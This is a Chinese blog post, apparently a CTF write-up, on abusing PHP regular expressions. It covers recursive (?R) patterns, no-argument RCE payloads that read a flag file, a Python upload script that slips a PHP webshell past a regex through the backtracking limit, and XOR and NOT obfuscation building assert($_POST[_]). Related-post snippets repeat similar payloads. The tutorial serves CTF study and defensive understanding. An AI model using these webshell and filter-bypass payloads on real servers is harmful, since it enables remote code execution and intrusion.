浅析PHP正则表达式的利用技巧

最新推荐文章于 2023-10-16 10:29:50 发布
最新推荐文章于 2023-10-16 10:29:50 发布
阅读量517 收藏 3
点赞数
分类专栏： web安全

浅析PHP正则表达式的利用技巧

正则表达式是什么

正则表达式(regular expression)描述了一种字符串匹配的模式（pattern），可以用来检查一个串是否含有某种子串、

将匹配的子串替换或者从某个串中取出符合某个条件的子串等。包括普通字符（例如，a 到 z 之间的字母）和特殊字符（称为"元字符"）。

另外正则引擎主要可以分为基本不同的两大类：一种是DFA(确定性有穷自动机），另一种是NFA（非确定性有穷自动机）。

在NFA中由于表达式主导的串行匹配方式，所以用到了回溯（backtracking），这个是NFA最重要的部分，每一次某个分支的匹配失败都会导-致一次回溯。

DFA没有回溯，因此看起来在某些情况下会比NFA来得更快，但是在真正使用中，DFA需要进行预编译才能获得更好效果，

因为DFA的匹配方式需要更多的内存和时间，在第一次遇到正则表达式时需要比NFA详细得多的方法来分析这个表达式，

不过可以预先把对不同正则表达式的分析结果建好，DFA就可以获得比NFA更优的速度。

虽然NFA速度更慢，并且实现复杂，但是它又有着比DFA强大的多的功能，比如支持环视，支持反向引用（虽然这个是非正则的）等，

因此大多数程序语言都使用了NFA作为正则引擎，其中也包括PHP使用的PCRE库。

0x02 扩展表示法

扩展表示是以问号开始（?…）,通常用于在判断匹配之前提供标记，实现一个前视（或者后视）匹配，或者条件检查。

尽管圆括号使用这些符号，但是只有（?P<name>）表述一个分组匹配。

正则表达式 | 匹配字符串

-----------| ---------
(?:\w+\.)* | 以句点作为结尾的字符串，例如“google.”、“twitter.”、“facebook.”，但是这些匹配不会保存下来供后续的使用和数据检索
(?=.com)   | 如果一个字符串后面跟着“.com”才做匹配操作，并不使用任何目标字符串
(?!.net)   |如果一个字符串后面不是跟着“.net”才做匹配操作
(?<=800-)  |如果字符串之前为“800-”才做匹配，假定为电话号码，同样，并不使用任何输入字符串
(?<!192\.168\.) |如果一个字符串之前不是“192.168.”才做匹配操作，假定用于过滤掉一组 C 类 IP 地址
(?(1)y\|x)  |如果一个匹配组 1（\1）存在，就与 y 匹配；否则，就与 x 匹配
\(((?>[^()]+)\|(?R))* \) | 进行循环匹配

循环匹配探索

在上述的扩展表达式中有一个循环模式， 特殊项(?R)提供了递归的这种特殊用法，在PRCE模式中，考虑匹配圆括号内字符串的问题，

允许无限嵌套括号。如果不使用递归， 最好的方式是使用一个模式匹配固定深度的嵌套。

这个PCRE模式解决了圆括号问题(假设 PCRE_EXTENDED 选项被设置了， 因此空白字符被忽略)：\( ( (?>[^()]+) | (?R) )* \)。

IN:

<?php 
var_dump(preg_match('/\((?R)*\)/','((((()))'));
var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))'));
var_dump(preg_replace('/\((?R)*\)/',NULL,'((()))abc'));
?>

OUT:

int(1) string(0) "" string(3) "abc"

从以上的输出结果，可以明显的发现，'/\((?R)*\)/'这个正则表达式，进行自身循环匹配。

从一道ctf题浅析利用

题目的名字为easy – phplimit，是p神出的一个练习代码审计的题目。源码如下：

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
eval($_GET['code']);
} else {
    show_source(__FILE__);
}

第二部分也提到了，这个正则是对'()'的一种循环匹配，"';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])"这关系式的意思是，

从code参数中，匹配匹配字母、数字、下划线，其实就是'\w+'，然后在匹配一个循环的'()'，将匹配的替换为NULL，判断剩下的是否只有';'。

于是就开始翻阅[手册]http://www.php.net/manual)，这个真的是好东西。以下是对这一块的探究：

自搭建环境测试

getcwd(): 获取当前路径

IN:

?code=print_r(getcwd());

OUT:

A:\tools\phpStudy\WWW\study
dirname(): 返回路径中的目录部分

IN:

?code=print_r(dirname(getcwd()));

OUT:

A:\tools\phpStudy\WWW

这里对dirname($path)进行一个解释：该函数的返回值为，返回path的父目录。如果在 path中没有斜线，则返回一个点('.')，

表示当前目录，因此此处为父目录'A:\tools\phpStudy\WWW'，后面使用chdir时是当前目录。

chdir(): 改变工作目录
IN:
?code=print_r(chdir(getcwd()));
OUT:
1
成功返回1(true)
get_defined_vars(): 返回由所有已定义变量所组成的数组
IN:
?test=1&code=print_r(get_defined_vars());
OUT:
Array([_GET] => Array ( [test] => 1 [code] => print_r(get_defined_vars()); ) [_POST] => Array ( ) [_COOKIE] => Array() ) [_FILES] => Array ( ) [a] => Array()....

探测到目录与文件情况后就可以进行构造payload

=>获得路径为/var/html
?code = print_r(getcwd());
=>查看路径下内容没有可用的
?code = print_r(scandir(getcwd()))
=>探测上一级为Array ( [0] => . [1] => .. [2] => flag_phpbyp4ss [3] => html )
?code = print_r(scandir(dirname(getcwd())))
=>发现flag文件，进行读取
?code = readfile(next(array_reverse(scandir(dirname(getcwd())))))
=>发现报错，不存在flag_phpbyp4ss文件，更改工作目录
?code = readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))

会发现最后的payload多了一个dirname()，原因是因为dirname()中的path没有斜线就会返回本路径，不会影响最后结果。

另外在RCTF中，r-cursive中也用到了这个知识点，官方的解使用eval(implode(getallheaders()))，执行返回的HHTP头内的信息，更改头部信息加上cmd: phpinfo();// 达到命令执行。

但是该题目中却不可以，由于环境不同apache模块的函数不能在ngnix中执行，参照大佬们的思路，利用get_defined_vars()执行GET的参数

payload为：

?1=readfile(../flag_phpbyp4ss);&code=eval(implode(reset(get_defined_vars())));

php回溯机制

前面我们已经说到了PHP使用PCRE库，那么正则引擎就是DFA(确定性有穷自动机），使用回溯的方式进行匹配，

大致过程就是在对一个字符串进行匹配时，如果匹配失败吐出一个字符，然后再进行匹配，如果依然失败，重复上面操作.....

举一个例子，更详细的阐述：

<?php
preg_match('/<\?.*[(`;?>].*/','<?php phpinfo();//abc');

过程：

<\?.* => <?php phpinfo();//abc
<\?.*[(`;?>] => <?php phpinfo();//ab
<\?.*[(`;?>] => <?php phpinfo();//a
<\?.*[(`;?>] => <?php phpinfo();//
<\?.*[(`;?>] => <?php phpinfo();/
<\?.*[(`;?>] => <?php phpinfo();
<\?.*[(`;?>] => <?php phpinfo()
<\?.*[(`;?>] => <?php phpinfo();
<\?.*[(`;?>].* => <?php phpinfo();//abc

可以发现这其中存在一个回溯过程，首先<\?.直接把所有的匹配完成，使得.后面至少有一个[(`;?>].*没有完成匹配，

因此就向前匹配，知道匹配成功（到phpinfo()后面的;）。

使用php的pcre.backtrack_limit限制绕过

当然在上面那个匹配中不可能一直回溯，那这样就会消耗服务器资源，就形成了正则表达式的拒绝服务攻击，因此php就有了限制回溯的机制

IN:
<?php
var_dump(ini_get('pcre.backtrack_limit'));
var_dump(preg_match('/<\?.[(`;?>]./is', '<?php phpinfo();//'.str_repeat('c', 999995)));

OUT:
string(7) "1000000" bool(false)

在这个点上p师傅出过一道题目，源码如下：

<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
 }

payload：

import requests
from io import BytesIO

files = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
 }

 res = requests.post('http://IP/index.php', files=files, allow_redirects=False)
 print(res.headers)

关键点就是，is_php($data)要为false，也就是preg_match('/<\?.*[(;?>].*/is', $data);`为false，根据preg_match函数的性质，

如果匹配不到或者$data为数组，那么返回为false。当然数组是不可能的，因为file_get_contents函数是将内容读入$data中，

那么就考了匹配不了这种情况，因为上面我们发现，当超过最好回溯限制式将返回false，因为利用这一个点进行突破。

使用无字母数字方式绕过

这是以一个题目引发的，之前看过P师傅的讲解，

很是收益。先膜一波，然后具体地解析一下代码。

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

对于这个正则表达式，很显然，把数字大小写字母全部过滤了，因为shell无法直接命令执行。在p神的博客中提到三种方法，

方法一：使用异或

 <?php
 $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
 $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
 $___=$$__;
 $_($___[_]); // assert($_POST[_]);

对上面的payload这里做出具体解释：

IN:

<?php
$payload = array('a','s','s','e','r','t','P','O','S','T');
foreach ($payload as $n => $p){
    echo $p^'`';
}

OUT:

0/34

可以发现'P''S''T'这三个字母异或出来是数字，所以与']'异或一下，最终为：

IN:

<?php
$payload = array('a','s','s','e','r','t','P','O','S','T');
foreach ($payload as $p){
    if($p=='P'||$p=='S'||$p=='T'){
        echo urlencode($p^']');
        continue;
    }
    echo urlencode($p^'`');
}

OUT:

%01%13%13%05%12%14%0D%2F%0E%09

这样得到了异或需要的值，然后我们看一下代码的具体操作，首先是先进行异或，字符连接得到'assert'，也就是$_变量，然后按照相同办法得到'_POST'，接下来就是组装。

方法二：使用取反

<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);

上面看起来就没有头绪，这里我简单说明一下。

在ｐ师傅的这篇文章中可以发现：

IN:

<?php echo ~('和'{2});

OUT:

s

后来在我的尝试下，发现在php7以下都会报一个错误：syntax error, unexpected '{' in 1.php on line 3，但是换一种写法就可以

<?php
$___="和";
echo ~($___{2});

这里先记下来了，解析一下这语句的意思，(''{})来输出汉字的UTF-8编码的某个字符，另外记录一个小知识点：

IN:

<?php 
echo base_convert(ord("和"[0]), 10, 16);
echo base_convert(ord("和"[1]), 10, 16);
echo base_convert(ord("和"[2]), 10, 16).'<br/>';
echo urlencode("和").'<br/>';

OUT:

e5928c
%E5%92%8C

可以发现utf-8编码与与Url编码的关系，了解了这些后，针对于怎么得到payload写了如下程序：

IN:

<?php
//获取payload的unicode编码
function get_unicode(){
    $payload = array('a','s','s','e','r','t','P','O','S','T');
    $payloadTounicode = array();
    foreach ($payload as $p){
        $payloadTounicode[$p] = base_convert(ord($p), 10, 16);
    }
    return $payloadTounicode;
}
//在输入的汉字中找到囊括payload的汉字
function find_unicode($fuzz, $payloadTounicode){
    $found = array();
    foreach ($payloadTounicode as $p){
        echo $p;
        foreach($fuzz as $f){
            if((base_convert(ord(~($f{1})), 10, 16) == $p) || (base_convert(ord(~($f{2})), 10, 16) == $p)){
                $found[] = $f;
                break;
            }
        }
        echo '<br/>';
    }
    return $found;
}
$fuzz = array('和','看','的','加','徐','不','瞰','始','俯','站','次','半');
var_dump(find_unicode($fuzz,get_unicode()));

OUT:

array(9) { [0]=> string(3) "瞰" [1]=> string(3) "和" [2]=> string(3) "的" [3]=> string(3) "不" [4]=> string(3)

"看" [5]=> string(3) "俯" [6]=> string(3) "瞰" [7]=> string(3) "次" [8]=> string(3) "站" }

找到需要是要的汉字，开始后构造payload(payload在开头已经给出了，简单说一下自己的理解)：

<?php
$__=('>'>'<')+('>'>'<');
// 这里是true+true=2
$_=$__/$__;
// 这里2/2=1
$___="瞰";$____.=~($___{$_});
// 获得'a'字母
$_=$$_____;
// $_____为连接而成的'_POST'，$_为$_ POST
$____($_[$__]);
// 最终为assert($_POST[2])

以上有错误的地方希望，各位师傅能够指正(Ths)

首发先知社区：浅析PHP正则表达式的利用技巧

张悠悠66
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
浅析golang 正则表达式
10-14
Go（又称Golang）是Google开发的一种静态强类型、编译型、并发型，并具有垃圾回收功能的编程语言。这篇文章给大家介绍golang 正则表达式的相关知识，感兴趣的朋友跟随小编一起看看吧
PHP无参数RCE
weixin_43610673的博客
03-14 2677
无参数函数RCE，即在不使用参数的条件下，仅使用函数进行REC。 如：代码中有 if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } 这时如果我们用传统的eval($_POST[‘code’]); 则无法通过正则的校验 /[^\W]+((?R)?)/ 对于...
[NewStarCTF 2023] web题解
最新发布
rev1ve的博客
10-16 9217
分析一下，第一个if语句判断条件为上传的password参数的MD5值前六位为c4d038；和反引号去绕过对system函数的过滤，反斜杠绕过flag，tac替换cat命令。（多次尝试，发现回显的位置在5而不是1，开始卡了很久没回显）简单的文件包含，这里过滤了常见的转换过滤器base和rot。打开题目，发现是小游戏（题目跟最近打的SHCTF比较像）我们丢到重放器，发现是页面302状态，并且出现了提示。（这里用XFF不行，我用的是X-Real-IP）打开题目，提示我们传参两个数，然后帮我们计算。
最全CTF Web题思路总结（更新ing）
热门推荐
yjprolus的博客
02-12 3万+
个人向CTF Web题思路总结笔记
buuctf刷题之旅之web(二)
qq_50589021的博客
08-19 2907
2021-5-23 [BUUCTF 2018]Online Tool 题目： <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GE
CodeBreaking题目复现
stepone4ward的博客
01-15 591
感谢郁师傅搭建的环境
浅析正则表达式
12-13
 正则表达式有基本正则表达式和扩展正则表达式两大类， 下面给大家介绍一下基本正则表达式和扩展正则表达式的一些常用的字符， 基本正则表达式：  ^ 锚定行首的符合条件的内容 $ 锚定行尾的符合条件的内容 ^$...
PHP正则表达式匹配替换与分割功能实例浅析
12-19
本文实例讲述了PHP正则表达式匹配替换与分割功能。分享给大家供大家参考，具体如下： 正则表达式在PHP中的作用主要包括：分割、匹配、查找与替换。 匹配功能 preg_match_all 全部匹配函数 preg_match_all (string ...
[长安战疫-cazy] Web题解
weixin_51804748的博客
01-20 2775
RCE_No_Para <?php if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){ eval($_GET['code']); }else{ die("Hacker!"); } }else{ show_source(__FIL
BUUCTF训练打卡
Leo8283的博客
04-26 573
BJDCTF2020]ZJCTF，不过如此 首先 ？text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php 或者 者 https://www.cnblogs.com/wangtanzhi/p/12328083.html https://xz.aliyun.com/t/2557 payload:/S*=${phpinf
PHP代码审计基础：代码执行漏洞
1匹黑马
11-26 268
文章目录代码执行漏洞挖掘思路常见危险函数eval()和assert()回调函数动态执行函数preg_replace()代码执行第一个参数第二个参数第三个参数修复方案 代码执行漏洞 PHP代码执行漏洞可以将代码注入到应用中，最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。 挖掘思路 用户能够控制函数的输入 存在可执行代码的危险函数 常见危险函数 eval()和asser
无参数函数RCE+[GXYCTF2019]禁止套娃 1
bazzza的博客
12-27 868
目录无参数RCE常用函数数组操作array_fliparray_randarray_reversecurrent文件file_get_contents()readfile()highlight_file()[别名：show_source()]scandir()direname()getcwd()chdir($directory)读取环境变量get_defined_vars()getenvlocaleconv()phpversion()会话session_idsession_start其它[GXYCTF201
无参数RCE
m0_62422842的博客
05-11 1414
正则的递归 正则表达式中有一种递归的用法，今天才知道。但是这种递归用法并不是所有语言都支持。它适用于PHP和java等语言。 以下列出几个简单的递归 (?R)? (?0)? \g<0>? 加号 , + 星号 * 问号 ? 一般来说问号也是递归的一种 一般用到最多就是?R。 括号里不能有参数，而有些题中就就会用这种递归的正则来过滤恶意函数，所以我们就用无参的函数像上图中套娃一样注入命令。 无参数RCE 一般情况下的命令执行都是由参数的，比如system函数，eval函数 ...
使用无参数函数进行命令执行
kali_Ma的博客
01-17 2416
前言 在这里总结一下无参数命令执行。 环境准备 测试代码 <?php highlight_file(__FILE__); if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']); } ?> 关键代码 preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code']) 这里使用pregreplace替换匹配到的字符为空，\
php读参数文件下载,php rce之无参数读文件
weixin_30332669的博客
03-09 199
一、什么是无参数？就是使用函数的时候不能带有参数。可以是a()、a(b())或a(b(c()))，但不能是a('b')或a('b','c')，不能带参数所以我们要使用无参数的函数进行文件读取或者命令执行。二、无参数文件读取查看当前目录文件名通常，可以使用print_r(scandir('.'))查看当前目录下所有文件，以数组的形式输出。但是要怎么构造参数里这个点呢。current() 返回数组中的...
初学无参数RCE
m0_62709637的博客
05-12 484
前置知识： 1、文件读取函数： show_source(): highlight_file():对文件进行语法高亮显示; readfile(): file_get_contents(): file(): tips:show_source()和highlight_file()函数无法直接在页面输出需要配合echo（）等函数一同使用； 2、写题时常用的输出函数： print_r(): var_dump(): echo(): 3、无参数rce常见正则匹配 1、'/[^\W]+\((?R)?\
代码审计从入门到放弃(三) & phplimit
合天网安学院
03-14 1352
前言接着前面的代码审计从入门到放弃(一) & function、代码审计从入门到放弃(二) & pcrewaf本次是phplimit这道题，本篇文章提供了3种解法，即如何...
php 随机替换字符串_PHP: preg_replace - Manual
weixin_39799307的博客
03-08 203
Hello there,I would like to share a regex (PHP) sniplet of codeI wrote (2012) for myself it is also being used in theYerico sriptmerge plugin for joomla marked as simple code..To compress javascript ...
2022年春秋杯网络安全联赛春季赛 勇者山峰
shinygod的博客
05-08 1303
Mercy-code if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd))这个过滤就代表了是无参rce。 <?php highlight_file(__FILE__); if ($_POST['cmd']) { $cmd = $_POST['cmd']; if (';' === preg_replace('/[a-z_]+\((?R)?\)/', '', $cmd)) { echo chr(strrev(un
正则表达式贪婪和懒惰
08-19
正则表达式中的贪婪模式和懒惰模式是两种不同的匹配方式。 贪婪模式是默认的匹配方式，它会尽可能多地匹配符合正则表达式的内容。例如，对于正则表达式"ab{1,3}c"，在贪婪模式下，它会匹配连续的一个或多个字符'b'，也就是'b'的数量尽可能多，直到满足最大重复次数的限制。 懒惰模式，也称为非贪婪模式，尽可能少地匹配所搜索的字符串。通过在正则表达式的重复部分后加上？可以开启懒惰模式。例如，将正则表达式改为"ab{1,3}?c"，在懒惰模式下，它将匹配最少的'b'字符，以满足最小重复次数的要求。 因此，贪婪模式和懒惰模式是正则表达式中用于控制匹配方式的重要概念。它们可以影响匹配的结果和性能。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [正则表达式贪婪模式、懒惰模式与独占模式浅析](https://blog.csdn.net/welson650/article/details/106277910)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值